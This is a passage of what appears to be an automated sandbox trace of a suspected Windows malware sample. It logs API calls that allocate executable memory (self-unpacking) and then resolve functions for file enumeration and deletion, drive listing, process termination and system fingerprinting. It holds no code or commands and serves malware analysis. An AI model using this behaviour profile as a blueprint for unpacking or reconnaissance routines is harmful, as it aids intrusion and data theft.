(dwErrCode=0x0) [0061.305] GetLastError () returned 0x0 [0061.305] SetLastError (dwErrCode=0x0) [0061.305] GetLastError () returned 0x0 [0061.305] SetLastError (dwErrCode=0x0) [0061.305] GetLastError () returned 0x0 [0061.305] SetLastError (dwErrCode=0x0) [0061.305] GetLastError () returned 0x0 [0061.305] SetLastError (dwErrCode=0x0) [0061.305] GetLastError () returned 0x0 [0061.305] SetLastError (dwErrCode=0x0) [0061.305] GetLastError () returned 0x0 [0061.305] SetLastError (dwErrCode=0x0) [0061.305] GetLastError () returned 0x0 [0061.305] SetLastError (dwErrCode=0x0) [0061.305] GetLastError () returned 0x0 [0061.305] SetLastError (dwErrCode=0x0) [0061.305] GetLastError () returned 0x0 [0061.305] SetLastError (dwErrCode=0x0) [0061.305] GetLastError () returned 0x0 [0061.305] SetLastError (dwErrCode=0x0) [0061.306] GetLastError () returned 0x0 [0061.306] SetLastError (dwErrCode=0x0) [0061.306] GetLastError () returned 0x0 [0061.306] SetLastError (dwErrCode=0x0) [0061.306] GetLastError () returned 0x0 [0061.306] SetLastError (dwErrCode=0x0) [0061.306] GetLastError () returned 0x0 [0061.306] SetLastError (dwErrCode=0x0) [0061.306] GetLastError () returned 0x0 [0061.306] SetLastError (dwErrCode=0x0) [0061.306] GetLastError () returned 0x0 [0061.306] SetLastError (dwErrCode=0x0) [0061.306] GetLastError () returned 0x0 [0061.306] SetLastError (dwErrCode=0x0) [0061.306] GetLastError () returned 0x0 [0061.306] SetLastError (dwErrCode=0x0) [0061.306] GetLastError () returned 0x0 [0061.306] SetLastError (dwErrCode=0x0) [0061.306] GetLastError () returned 0x0 [0061.306] SetLastError (dwErrCode=0x0) [0061.306] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74650000 [0061.307] GetProcAddress (hModule=0x74650000, lpProcName="LocalAlloc") returned 0x74667a30 [0061.307] LocalAlloc (uFlags=0x0, uBytes=0x7a5c0) returned 0x5f1f48 [0061.311] GetProcAddress (hModule=0x74650000, lpProcName="VirtualProtect") returned 0x74667a50 [0061.312] VirtualProtect (in: lpAddress=0x5f1f48, dwSize=0x7a5c0, flNewProtect=0x40, lpflOldProtect=0x19febc | out: lpflOldProtect=0x19febc*=0x4) returned 1 [0061.359] GetProcessId (Process=0x0) returned 0x0 [0061.359] GetProcessId (Process=0x0) returned 0x0 [0061.359] GetProcessId (Process=0x0) returned 0x0 [0061.359] GetProcessId (Process=0x0) returned 0x0 [0061.360] GetProcessId (Process=0x0) returned 0x0 [0061.360] GetProcessId (Process=0x0) returned 0x0 [0061.360] GetProcessId (Process=0x0) returned 0x0 [0061.360] GetProcessId (Process=0x0) returned 0x0 [0061.360] GetProcessId (Process=0x0) returned 0x0 [0061.360] GetProcessId (Process=0x0) returned 0x0 [0061.360] GetProcessId (Process=0x0) returned 0x0 [0061.360] GetProcessId (Process=0x0) returned 0x0 [0061.360] GetProcessId (Process=0x0) returned 0x0 [0061.360] GetProcessId (Process=0x0) returned 0x0 [0061.360] GetProcessId (Process=0x0) returned 0x0 [0061.360] GetProcessId (Process=0x0) returned 0x0 [0061.360] GetProcessId (Process=0x0) returned 0x0 [0061.360] GetProcessId (Process=0x0) returned 0x0 [0061.360] GetProcessId (Process=0x0) returned 0x0 [0061.360] GetProcessId (Process=0x0) returned 0x0 [0061.360] GetProcessId (Process=0x0) returned 0x0 [0061.360] GetProcessId (Process=0x0) returned 0x0 [0061.360] GetProcessId (Process=0x0) returned 0x0 [0061.360] GetProcessId (Process=0x0) returned 0x0 [0061.361] GetProcessId (Process=0x0) returned 0x0 [0061.361] GetProcessId (Process=0x0) returned 0x0 [0061.361] GetProcessId (Process=0x0) returned 0x0 [0061.361] GetProcessId (Process=0x0) returned 0x0 [0061.361] GetProcessId (Process=0x0) returned 0x0 [0061.361] GetProcessId (Process=0x0) returned 0x0 [0061.361] GetProcessId (Process=0x0) returned 0x0 [0061.361] GetProcessId (Process=0x0) returned 0x0 [0061.361] GetProcessId (Process=0x0) returned 0x0 [0061.362] GetProcessId (Process=0x0) returned 0x0 [0061.362] GetProcessId (Process=0x0) returned 0x0 [0061.362] GetProcessId (Process=0x0) returned 0x0 [0061.362] GetProcessId (Process=0x0) returned 0x0 [0061.362] GetProcessId (Process=0x0) returned 0x0 [0061.362] GetProcessId (Process=0x0) returned 0x0 [0061.362] GetProcessId (Process=0x0) returned 0x0 [0061.362] GetProcessId (Process=0x0) returned 0x0 [0061.362] GetProcessId (Process=0x0) returned 0x0 [0061.363] GetProcessId (Process=0x0) returned 0x0 [0061.363] GetProcessId (Process=0x0) returned 0x0 [0061.363] GetProcessId (Process=0x0) returned 0x0 [0061.363] GetProcessId (Process=0x0) returned 0x0 [0061.363] GetProcessId (Process=0x0) returned 0x0 [0061.363] GetProcessId (Process=0x0) returned 0x0 [0061.363] GetProcessId (Process=0x0) returned 0x0 [0061.363] GetProcessId (Process=0x0) returned 0x0 [0061.363] GetProcessId (Process=0x0) returned 0x0 [0061.363] GetProcessId (Process=0x0) returned 0x0 [0061.363] GetProcessId (Process=0x0) returned 0x0 [0061.363] GetProcessId (Process=0x0) returned 0x0 [0061.363] GetProcessId (Process=0x0) returned 0x0 [0061.363] GetProcessId (Process=0x0) returned 0x0 [0061.363] GetProcessId (Process=0x0) returned 0x0 [0061.363] GetProcessId (Process=0x0) returned 0x0 [0061.363] GetProcessId (Process=0x0) returned 0x0 [0061.363] GetProcessId (Process=0x0) returned 0x0 [0061.363] GetProcessId (Process=0x0) returned 0x0 [0061.363] GetProcessId (Process=0x0) returned 0x0 [0061.364] GetProcessId (Process=0x0) returned 0x0 [0061.364] GetProcessId (Process=0x0) returned 0x0 [0061.364] GetProcessId (Process=0x0) returned 0x0 [0061.364] GetProcessId (Process=0x0) returned 0x0 [0061.364] GetProcessId (Process=0x0) returned 0x0 [0061.364] GetProcessId (Process=0x0) returned 0x0 [0061.364] GetProcessId (Process=0x0) returned 0x0 [0061.364] GetProcessId (Process=0x0) returned 0x0 [0061.375] GetProcessId (Process=0x0) returned 0x0 [0061.375] GetProcessId (Process=0x0) returned 0x0 [0061.375] GetProcessId (Process=0x0) returned 0x0 [0061.375] GetProcessId (Process=0x0) returned 0x0 [0061.375] GetProcessId (Process=0x0) returned 0x0 [0061.375] GetProcessId (Process=0x0) returned 0x0 [0061.375] GetProcessId (Process=0x0) returned 0x0 [0061.375] GetProcessId (Process=0x0) returned 0x0 [0061.376] GetProcessId (Process=0x0) returned 0x0 [0061.376] GetProcessId (Process=0x0) returned 0x0 [0061.376] GetProcessId (Process=0x0) returned 0x0 [0061.376] GetProcessId (Process=0x0) returned 0x0 [0061.376] GetProcessId (Process=0x0) returned 0x0 [0061.376] GetProcessId (Process=0x0) returned 0x0 [0061.376] GetProcessId (Process=0x0) returned 0x0 [0061.376] GetProcessId (Process=0x0) returned 0x0 [0061.376] GetProcessId (Process=0x0) returned 0x0 [0061.376] GetProcessId (Process=0x0) returned 0x0 [0061.376] GetProcessId (Process=0x0) returned 0x0 [0061.376] GetProcessId (Process=0x0) returned 0x0 [0061.376] GetProcessId (Process=0x0) returned 0x0 [0061.376] GetProcessId (Process=0x0) returned 0x0 [0061.376] GetProcessId (Process=0x0) returned 0x0 [0061.376] GetProcessId (Process=0x0) returned 0x0 [0061.376] GetProcessId (Process=0x0) returned 0x0 [0061.377] GetProcessId (Process=0x0) returned 0x0 [0061.377] GetProcessId (Process=0x0) returned 0x0 [0061.377] GetProcessId (Process=0x0) returned 0x0 [0061.378] GetProcessId (Process=0x0) returned 0x0 [0061.378] GetProcessId (Process=0x0) returned 0x0 [0061.378] GetProcessId (Process=0x0) returned 0x0 [0061.378] GetProcessId (Process=0x0) returned 0x0 [0061.378] GetProcessId (Process=0x0) returned 0x0 [0061.378] GetProcessId (Process=0x0) returned 0x0 [0061.378] GetProcessId (Process=0x0) returned 0x0 [0061.378] GetProcessId (Process=0x0) returned 0x0 [0061.378] GetProcessId (Process=0x0) returned 0x0 [0061.378] GetProcessId (Process=0x0) returned 0x0 [0061.378] GetProcessId (Process=0x0) returned 0x0 [0061.378] GetProcessId (Process=0x0) returned 0x0 [0061.378] GetProcessId (Process=0x0) returned 0x0 [0061.378] GetProcessId (Process=0x0) returned 0x0 [0061.378] GetProcessId (Process=0x0) returned 0x0 [0061.378] GetProcessId (Process=0x0) returned 0x0 [0061.378] GetProcessId (Process=0x0) returned 0x0 [0061.378] GetProcessId (Process=0x0) returned 0x0 [0061.378] GetProcessId (Process=0x0) returned 0x0 [0061.378] GetProcessId (Process=0x0) returned 0x0 [0061.379] GetProcessId (Process=0x0) returned 0x0 [0061.379] GetProcessId (Process=0x0) returned 0x0 [0061.379] GetProcessId (Process=0x0) returned 0x0 [0061.379] GetProcessId (Process=0x0) returned 0x0 [0061.379] GetProcessId (Process=0x0) returned 0x0 [0061.379] GetProcessId (Process=0x0) returned 0x0 [0061.379] GetProcessId (Process=0x0) returned 0x0 [0061.379] GetProcessId (Process=0x0) returned 0x0 [0061.379] GetProcessId (Process=0x0) returned 0x0 [0061.379] GetProcessId (Process=0x0) returned 0x0 [0061.379] GetProcessId (Process=0x0) returned 0x0 [0061.379] GetProcessId (Process=0x0) returned 0x0 [0061.381] GetProcessId (Process=0x0) returned 0x0 [0061.381] GetProcessId (Process=0x0) returned 0x0 [0061.381] GetProcessId (Process=0x0) returned 0x0 [0061.381] GetProcessId (Process=0x0) returned 0x0 [0061.381] GetProcessId (Process=0x0) returned 0x0 [0061.381] GetProcessId (Process=0x0) returned 0x0 [0061.381] GetProcessId (Process=0x0) returned 0x0 [0061.381] GetProcessId (Process=0x0) returned 0x0 [0061.381] GetProcessId (Process=0x0) returned 0x0 [0061.381] GetProcessId (Process=0x0) returned 0x0 [0061.381] GetProcessId (Process=0x0) returned 0x0 [0061.381] GetProcessId (Process=0x0) returned 0x0 [0061.381] GetProcessId (Process=0x0) returned 0x0 [0061.381] GetProcessId (Process=0x0) returned 0x0 [0061.381] GetProcessId (Process=0x0) returned 0x0 [0061.381] GetProcessId (Process=0x0) returned 0x0 [0061.381] GetProcessId (Process=0x0) returned 0x0 [0061.381] GetProcessId (Process=0x0) returned 0x0 [0061.381] GetProcessId (Process=0x0) returned 0x0 [0061.382] GetProcessId (Process=0x0) returned 0x0 [0061.382] GetProcessId (Process=0x0) returned 0x0 [0061.382] GetProcessId (Process=0x0) returned 0x0 [0061.382] GetProcessId (Process=0x0) returned 0x0 [0061.382] GetProcessId (Process=0x0) returned 0x0 [0061.382] GetProcessId (Process=0x0) returned 0x0 [0061.382] GetProcessId (Process=0x0) returned 0x0 [0061.382] GetProcessId (Process=0x0) returned 0x0 [0061.382] GetProcessId (Process=0x0) returned 0x0 [0061.382] GetProcessId (Process=0x0) returned 0x0 [0061.382] GetProcessId (Process=0x0) returned 0x0 [0061.382] GetProcessId (Process=0x0) returned 0x0 [0061.382] GetProcessId (Process=0x0) returned 0x0 [0061.382] GetProcessId (Process=0x0) returned 0x0 [0061.382] GetProcessId (Process=0x0) returned 0x0 [0061.382] GetProcessId (Process=0x0) returned 0x0 [0061.382] GetProcessId (Process=0x0) returned 0x0 [0061.382] GetProcessId (Process=0x0) returned 0x0 [0061.382] GetProcessId (Process=0x0) returned 0x0 [0061.384] GetProcessId (Process=0x0) returned 0x0 [0061.384] GetProcessId (Process=0x0) returned 0x0 [0061.384] GetProcessId (Process=0x0) returned 0x0 [0061.384] GetProcessId (Process=0x0) returned 0x0 [0061.384] GetProcessId (Process=0x0) returned 0x0 [0061.384] GetProcessId (Process=0x0) returned 0x0 [0061.384] GetProcessId (Process=0x0) returned 0x0 [0061.384] GetProcessId (Process=0x0) returned 0x0 [0061.384] GetProcessId (Process=0x0) returned 0x0 [0061.384] GetProcessId (Process=0x0) returned 0x0 [0061.384] GetProcessId (Process=0x0) returned 0x0 [0061.384] GetProcessId (Process=0x0) returned 0x0 [0061.384] GetProcessId (Process=0x0) returned 0x0 [0061.385] GetProcessId (Process=0x0) returned 0x0 [0061.385] GetProcessId (Process=0x0) returned 0x0 [0061.385] GetProcessId (Process=0x0) returned 0x0 [0061.385] GetProcessId (Process=0x0) returned 0x0 [0061.385] GetProcessId (Process=0x0) returned 0x0 [0061.385] GetProcessId (Process=0x0) returned 0x0 [0061.385] GetProcessId (Process=0x0) returned 0x0 [0061.385] GetProcessId (Process=0x0) returned 0x0 [0061.385] GetProcessId (Process=0x0) returned 0x0 [0061.385] GetProcessId (Process=0x0) returned 0x0 [0061.385] GetProcessId (Process=0x0) returned 0x0 [0061.385] GetProcessId (Process=0x0) returned 0x0 [0061.385] GetProcessId (Process=0x0) returned 0x0 [0061.385] GetProcessId (Process=0x0) returned 0x0 [0061.385] GetProcessId (Process=0x0) returned 0x0 [0061.385] GetProcessId (Process=0x0) returned 0x0 [0061.385] GetProcessId (Process=0x0) returned 0x0 [0061.385] GetProcessId (Process=0x0) returned 0x0 [0061.386] GetProcessId (Process=0x0) returned 0x0 [0061.386] GetProcessId (Process=0x0) returned 0x0 [0061.386] GetProcessId (Process=0x0) returned 0x0 [0061.386] GetProcessId (Process=0x0) returned 0x0 [0061.386] GetProcessId (Process=0x0) returned 0x0 [0061.386] GetProcessId (Process=0x0) returned 0x0 [0061.386] GetProcessId (Process=0x0) returned 0x0 [0061.386] GetProcessId (Process=0x0) returned 0x0 [0061.386] GetProcessId (Process=0x0) returned 0x0 [0061.386] GetProcessId (Process=0x0) returned 0x0 [0061.386] GetProcessId (Process=0x0) returned 0x0 [0061.386] GetProcessId (Process=0x0) returned 0x0 [0061.386] GetProcessId (Process=0x0) returned 0x0 [0061.386] GetProcessId (Process=0x0) returned 0x0 [0061.386] GetProcessId (Process=0x0) returned 0x0 [0061.386] GetProcessId (Process=0x0) returned 0x0 [0061.386] GetProcessId (Process=0x0) returned 0x0 [0061.386] GetProcessId (Process=0x0) returned 0x0 [0061.386] GetProcessId (Process=0x0) returned 0x0 [0061.387] GetProcessId (Process=0x0) returned 0x0 [0061.387] GetProcessId (Process=0x0) returned 0x0 [0061.387] GetProcessId (Process=0x0) returned 0x0 [0061.387] GetProcessId (Process=0x0) returned 0x0 [0061.387] GetProcessId (Process=0x0) returned 0x0 [0061.387] GetProcessId (Process=0x0) returned 0x0 [0061.387] GetProcessId (Process=0x0) returned 0x0 [0061.387] GetProcessId (Process=0x0) returned 0x0 [0061.387] GetProcessId (Process=0x0) returned 0x0 [0061.387] GetProcessId (Process=0x0) returned 0x0 [0061.387] GetProcessId (Process=0x0) returned 0x0 [0061.387] GetProcessId (Process=0x0) returned 0x0 [0061.387] GetProcessId (Process=0x0) returned 0x0 [0061.387] GetProcessId (Process=0x0) returned 0x0 [0061.387] GetProcessId (Process=0x0) returned 0x0 [0061.387] GetProcessId (Process=0x0) returned 0x0 [0061.387] GetProcessId (Process=0x0) returned 0x0 [0061.387] GetProcessId (Process=0x0) returned 0x0 [0061.388] GetProcessId (Process=0x0) returned 0x0 [0061.388] GetProcessId (Process=0x0) returned 0x0 [0061.388] GetProcessId (Process=0x0) returned 0x0 [0061.388] GetProcessId (Process=0x0) returned 0x0 [0061.388] GetProcessId (Process=0x0) returned 0x0 [0061.388] GetProcessId (Process=0x0) returned 0x0 [0061.388] GetProcessId (Process=0x0) returned 0x0 [0061.388] GetProcessId (Process=0x0) returned 0x0 [0061.388] GetProcessId (Process=0x0) returned 0x0 [0061.388] GetProcessId (Process=0x0) returned 0x0 [0061.388] GetProcessId (Process=0x0) returned 0x0 [0061.388] GetProcessId (Process=0x0) returned 0x0 [0061.388] GetProcessId (Process=0x0) returned 0x0 [0066.111] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x74650000 [0066.112] GetProcAddress (hModule=0x74650000, lpProcName="GlobalAlloc") returned 0x74669950 [0066.113] GetProcAddress (hModule=0x74650000, lpProcName="GetLastError") returned 0x74663870 [0066.113] GetProcAddress (hModule=0x74650000, lpProcName="Sleep") returned 0x74667990 [0066.114] GetProcAddress (hModule=0x74650000, lpProcName="VirtualAlloc") returned 0x74667810 [0066.114] GetProcAddress (hModule=0x74650000, lpProcName="CreateToolhelp32Snapshot") returned 0x74677b50 [0066.114] GetProcAddress (hModule=0x74650000, lpProcName="Module32First") returned 0x746944b0 [0066.114] GetProcAddress (hModule=0x74650000, lpProcName="CloseHandle") returned 0x74676630 [0066.115] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0xac [0066.125] Module32First (hSnapshot=0xac, lpme=0x19fc50) returned 1 [0066.127] VirtualAlloc (lpAddress=0x0, dwSize=0xd3050, flAllocationType=0x1000, flProtect=0x40) returned 0x1fc0000 [0066.163] GetProcAddress (hModule=0x74650000, lpProcName="LoadLibraryA") returned 0x74674bf0 [0066.163] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x74650000 [0066.163] GetProcAddress (hModule=0x74650000, lpProcName="VirtualAlloc") returned 0x74667810 [0066.163] GetProcAddress (hModule=0x74650000, lpProcName="VirtualProtect") returned 0x74667a50 [0066.163] GetProcAddress (hModule=0x74650000, lpProcName="VirtualFree") returned 0x74667600 [0066.163] GetProcAddress (hModule=0x74650000, lpProcName="GetVersionExA") returned 0x7466a700 [0066.163] GetProcAddress (hModule=0x74650000, lpProcName="TerminateProcess") returned 0x74675100 [0066.163] GetProcAddress (hModule=0x74650000, lpProcName="ExitProcess") returned 0x74677b30 [0066.163] GetProcAddress (hModule=0x74650000, lpProcName="SetErrorMode") returned 0x74668d20 [0066.163] SetErrorMode (uMode=0x400) returned 0x0 [0066.163] SetErrorMode (uMode=0x0) returned 0x400 [0066.163] GetVersionExA (in: lpVersionInformation=0x19eb80*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x5ea958, dwMinorVersion=0x8000d, dwBuildNumber=0x5ea4e8, dwPlatformId=0x8, szCSDVersion="¸ë\x19") | out: lpVersionInformation=0x19eb80*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0066.163] VirtualAlloc (lpAddress=0x0, dwSize=0xd2200, flAllocationType=0x1000, flProtect=0x4) returned 0x2140000 [0066.183] VirtualProtect (in: lpAddress=0x400000, dwSize=0xd7000, flNewProtect=0x40, lpflOldProtect=0x19fc08 | out: lpflOldProtect=0x19fc08*=0x2) returned 1 [0066.512] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x74650000 [0066.512] GetProcAddress (hModule=0x74650000, lpProcName="LocalFree") returned 0x746679a0 [0066.512] GetProcAddress (hModule=0x74650000, lpProcName="HeapAlloc") returned 0x77922bd0 [0066.512] GetProcAddress (hModule=0x74650000, lpProcName="GetProcessHeap") returned 0x74667710 [0066.512] GetProcAddress (hModule=0x74650000, lpProcName="HeapFree") returned 0x74661ba0 [0066.512] GetProcAddress (hModule=0x74650000, lpProcName="lstrcatA") returned 0x7466f640 [0066.512] GetProcAddress (hModule=0x74650000, lpProcName="CreateDirectoryA") returned 0x74676850 [0066.512] GetProcAddress (hModule=0x74650000, lpProcName="FindClose") returned 0x746768e0 [0066.512] GetProcAddress (hModule=0x74650000, lpProcName="FindNextFileW") returned 0x746769a0 [0066.512] GetProcAddress (hModule=0x74650000, lpProcName="DeleteFileW") returned 0x746768c0 [0066.512] GetProcAddress (hModule=0x74650000, lpProcName="lstrcmpW") returned 0x74667970 [0066.512] GetProcAddress (hModule=0x74650000, lpProcName="FindFirstFileW") returned 0x74676960 [0066.513] GetProcAddress (hModule=0x74650000, lpProcName="lstrcatW") returned 0x7468d170 [0066.513] GetProcAddress (hModule=0x74650000, lpProcName="lstrcpyW") returned 0x7468d260 [0066.513] GetProcAddress (hModule=0x74650000, lpProcName="FindNextFileA") returned 0x74676980 [0066.513] GetProcAddress (hModule=0x74650000, lpProcName="CopyFileA") returned 0x7466f780 [0066.513] GetProcAddress (hModule=0x74650000, lpProcName="FindFirstFileA") returned 0x74676920 [0066.513] GetProcAddress (hModule=0x74650000, lpProcName="GetDriveTypeA") returned 0x74676a00 [0066.513] GetProcAddress (hModule=0x74650000, lpProcName="GetLogicalDriveStringsA") returned 0x7468e790 [0066.513] GetProcAddress (hModule=0x74650000, lpProcName="DeleteFileA") returned 0x746768b0 [0066.513] GetProcAddress (hModule=0x74650000, lpProcName="GetCurrentProcessId") returned 0x746623e0 [0066.513] GetProcAddress (hModule=0x74650000, lpProcName="SetCurrentDirectoryA") returned 0x74692290 [0066.513] GetProcAddress (hModule=0x74650000, lpProcName="CopyFileW") returned 0x74676ec0 [0066.513] GetProcAddress (hModule=0x74650000, lpProcName="CloseHandle") returned 0x74676630 [0066.513] GetProcAddress (hModule=0x74650000, lpProcName="WriteFile") returned 0x74676ca0 [0066.513] GetProcAddress (hModule=0x74650000, lpProcName="CreateFileA") returned 0x74676880 [0066.514] GetProcAddress (hModule=0x74650000, lpProcName="MultiByteToWideChar") returned 0x74662ad0 [0066.514] GetProcAddress (hModule=0x74650000, lpProcName="ReadFile") returned 0x74676bb0 [0066.514] GetProcAddress (hModule=0x74650000, lpProcName="GetFileSize") returned 0x74676a70 [0066.514] GetProcAddress (hModule=0x74650000, lpProcName="GetVersionExA") returned 0x7466a700 [0066.514] GetProcAddress (hModule=0x74650000, lpProcName="GetFileSizeEx") returned 0x74676a80 [0066.514] GetProcAddress (hModule=0x74650000, lpProcName="GetCurrentDirectoryA") returned 0x74690dc0 [0066.514] GetProcAddress (hModule=0x74650000, lpProcName="GetPrivateProfileSectionNamesA") returned 0x7468a4e0 [0066.514] GetProcAddress (hModule=0x74650000, lpProcName="Process32Next") returned 0x7466d1c0 [0066.514] GetProcAddress (hModule=0x74650000, lpProcName="Process32First") returned 0x7466f4d0 [0066.514] GetProcAddress (hModule=0x74650000, lpProcName="CreateToolhelp32Snapshot") returned 0x74677b50 [0066.514] GetProcAddress (hModule=0x74650000, lpProcName="TerminateProcess") returned 0x74675100 [0066.514] GetProcAddress (hModule=0x74650000, lpProcName="OpenProcess") returned 0x74668bf0 [0066.514] GetProcAddress (hModule=0x74650000, lpProcName="GetProcAddress") returned 0x746678b0 [0066.514] GetProcAddress (hModule=0x74650000, lpProcName="LoadLibraryA") returned 0x74674bf0 [0066.514] GetProcAddress (hModule=0x74650000, lpProcName="FreeLibrary") returned 0x74669f50 [0066.515] GetProcAddress (hModule=0x74650000, lpProcName="GetFileAttributesA") returned 0x74676a20 [0066.515] GetProcAddress (hModule=0x74650000, lpProcName="FileTimeToSystemTime") returned 0x74676d00 [0066.515] GetProcAddress (hModule=0x74650000, lpProcName="InterlockedCompareExchange") returned 0x74673ff0 [0066.515] GetProcAddress (hModule=0x74650000, lpProcName="OutputDebugStringW") returned 0x746919a0 [0066.515] GetProcAddress (hModule=0x74650000, lpProcName="OutputDebugStringA") returned 0x7466fde0 [0066.515] GetProcAddress (hModule=0x74650000, lpProcName="WaitForSingleObjectEx") returned 0x74676830 [0066.515] GetProcAddress (hModule=0x74650000, lpProcName="WaitForSingleObject") returned 0x74676820 [0066.515] GetProcAddress (hModule=0x74650000, lpProcName="UnmapViewOfFile") returned 0x74669b20 [0066.515] GetProcAddress (hModule=0x74650000, lpProcName="UnlockFileEx") returned 0x74676c90 [0066.515] GetProcAddress (hModule=0x74650000, lpProcName="UnlockFile") returned 0x74676c80 [0066.515] GetProcAddress (hModule=0x74650000, lpProcName="SystemTimeToFileTime") returned 0x74674c10 [0066.515] GetProcAddress (hModule=0x74650000, lpProcName="SetFilePointer") returned 0x74676c40 [0066.515] GetProcAddress (hModule=0x74650000, lpProcName="SetEndOfFile") returned 0x74676c00 [0066.515] GetProcAddress (hModule=0x74650000, lpProcName="QueryPerformanceCounter") returned 0x746638a0 [0066.516] GetProcAddress (hModule=0x74650000, lpProcName="MapViewOfFile") returned 0x74668d60 [0066.516] GetProcAddress (hModule=0x74650000, lpProcName="LockFileEx") returned 0x74676b90 [0066.516] GetProcAddress (hModule=0x74650000, lpProcName="LockFile") returned 0x74676b80 [0066.516] GetProcAddress (hModule=0x74650000, lpProcName="LoadLibraryW") returned 0x7466a840 [0066.516] GetProcAddress (hModule=0x74650000, lpProcName="HeapCompact") returned 0x746912a0 [0066.516] GetProcAddress (hModule=0x74650000, lpProcName="HeapValidate") returned 0x7466cf80 [0066.516] GetProcAddress (hModule=0x74650000, lpProcName="HeapSize") returned 0x7791bb20 [0066.516] GetProcAddress (hModule=0x74650000, lpProcName="HeapReAlloc") returned 0x7791efe0 [0066.516] GetProcAddress (hModule=0x74650000, lpProcName="HeapDestroy") returned 0x74674c30 [0066.516] GetProcAddress (hModule=0x74650000, lpProcName="HeapCreate") returned 0x7466a100 [0066.516] GetProcAddress (hModule=0x74650000, lpProcName="GetVersionExW") returned 0x7466aa80 [0066.516] GetProcAddress (hModule=0x74650000, lpProcName="LocalAlloc") returned 0x74667a30 [0066.516] GetProcAddress (hModule=0x74650000, lpProcName="GetTempPathW") returned 0x74676b30 [0066.516] GetProcAddress (hModule=0x74650000, lpProcName="GetTempPathA") returned 0x74676b20 [0066.516] GetProcAddress (hModule=0x74650000, lpProcName="GetSystemTimeAsFileTime") returned 0x74667620 [0066.517] GetProcAddress (hModule=0x74650000, lpProcName="GetSystemTime") returned 0x74674940 [0066.517] GetProcAddress (hModule=0x74650000, lpProcName="GetSystemInfo") returned 0x7466a0f0 [0066.517] GetProcAddress (hModule=0x74650000, lpProcName="GetLastError") returned 0x74663870 [0066.517] GetProcAddress (hModule=0x74650000, lpProcName="GetFullPathNameW") returned 0x74676ae0 [0066.517] GetProcAddress (hModule=0x74650000, lpProcName="GetFullPathNameA") returned 0x74676ad0 [0066.517] GetProcAddress (hModule=0x74650000, lpProcName="GetFileAttributesExW") returned 0x74676a40 [0066.517] GetProcAddress (hModule=0x74650000, lpProcName="GetFileAttributesW") returned 0x74676a50 [0066.517] GetProcAddress (hModule=0x74650000, lpProcName="GetDiskFreeSpaceW") returned 0x746769f0 [0066.517] GetProcAddress (hModule=0x74650000, lpProcName="GetDiskFreeSpaceA") returned 0x746769c0 [0066.517] GetProcAddress (hModule=0x74650000, lpProcName="FormatMessageW") returned 0x74674f80 [0066.517] GetProcAddress (hModule=0x74650000, lpProcName="FormatMessageA") returned 0x7466f830 [0066.517] GetProcAddress (hModule=0x74650000, lpProcName="FlushFileBuffers") returned 0x746769b0 [0066.517] GetProcAddress (hModule=0x74650000, lpProcName="CreateMutexW") returned 0x746766f0 [0066.518] GetProcAddress (hModule=0x74650000, lpProcName="CreateFileMappingW") returned 0x746699b0 [0066.518] GetProcAddress (hModule=0x74650000, lpProcName="CreateFileMappingA") returned 0x746679c0 [0066.518] GetProcAddress (hModule=0x74650000, lpProcName="CreateFileW") returned 0x74676890 [0066.518] GetProcAddress (hModule=0x74650000, lpProcName="AreFileApisANSI") returned 0x7466f300 [0066.518] GetProcAddress (hModule=0x74650000, lpProcName="DeleteCriticalSection") returned 0x77940e60 [0066.518] GetProcAddress (hModule=0x74650000, lpProcName="EnterCriticalSection") returned 0x7792f290 [0066.518] GetProcAddress (hModule=0x74650000, lpProcName="LeaveCriticalSection") returned 0x7792f210 [0066.518] GetProcAddress (hModule=0x74650000, lpProcName="InitializeCriticalSection") returned 0x7794a200 [0066.518] GetProcAddress (hModule=0x74650000, lpProcName="TryEnterCriticalSection") returned 0x77949190 [0066.518] GetProcAddress (hModule=0x74650000, lpProcName="GetCurrentThreadId") returned 0x74661b90 [0066.518] GetProcAddress (hModule=0x74650000, lpProcName="GetComputerNameA") returned 0x7466fbf0 [0066.518] GetProcAddress (hModule=0x74650000, lpProcName="IsWow64Process") returned 0x74669f10 [0066.518] GetProcAddress (hModule=0x74650000, lpProcName="GetCurrentProcess") returned 0x746638c0 [0066.518] GetProcAddress (hModule=0x74650000, lpProcName="GlobalMemoryStatus") returned 0x74668e00 [0066.518] GetProcAddress (hModule=0x74650000, lpProcName="GetModuleHandleA") returned 0x746699f0 [0066.519] GetProcAddress (hModule=0x74650000, lpProcName="GetUserDefaultLocaleName") returned 0x7466ad60 [0066.519] GetProcAddress (hModule=0x74650000, lpProcName="TzSpecificLocalTimeToSystemTime") returned 0x74692650 [0066.519] GetProcAddress (hModule=0x74650000, lpProcName="GetTimeZoneInformation") returned 0x7466acc0 [0066.519] GetProcAddress (hModule=0x74650000, lpProcName="GetLocaleInfoA") returned 0x7466e7b0 [0066.519] GetProcAddress (hModule=0x74650000, lpProcName="GetFileInformationByHandle") returned 0x74676a60 [0066.519] GetProcAddress (hModule=0x74650000, lpProcName="GetLocalTime") returned 0x74669be0 [0066.519] GetProcAddress (hModule=0x74650000, lpProcName="CompareStringW") returned 0x74672630 [0066.520] GetProcAddress (hModule=0x74650000, lpProcName="SetStdHandle") returned 0x74692430 [0066.520] GetProcAddress (hModule=0x74650000, lpProcName="WideCharToMultiByte") returned 0x74663880 [0066.521] GetProcAddress (hModule=0x74650000, lpProcName="Sleep") returned 0x74667990 [0066.521] GetProcAddress (hModule=0x74650000, lpProcName="IsValidLocale") returned 0x7466ab40 [0066.521] GetProcAddress (hModule=0x74650000, lpProcName="EnumSystemLocalesA") returned 0x74690b70 [0066.521] GetProcAddress (hModule=0x74650000, lpProcName="GetUserDefaultLCID") returned 0x74672920 [0066.521] GetProcAddress (hModule=0x74650000, lpProcName="GetLocaleInfoW") returned 0x7466cd70 [0066.521] GetProcAddress (hModule=0x74650000, lpProcName="GetStringTypeW") returned 0x74667950 [0066.521] GetProcAddress (hModule=0x74650000, lpProcName="GetEnvironmentStringsW") returned 0x7466aac0 [0066.521] GetProcAddress (hModule=0x74650000, lpProcName="FreeEnvironmentStringsW") returned 0x7466a7e0 [0066.521] GetProcAddress (hModule=0x74650000, lpProcName="GetModuleFileNameA") returned 0x7466a720 [0066.521] 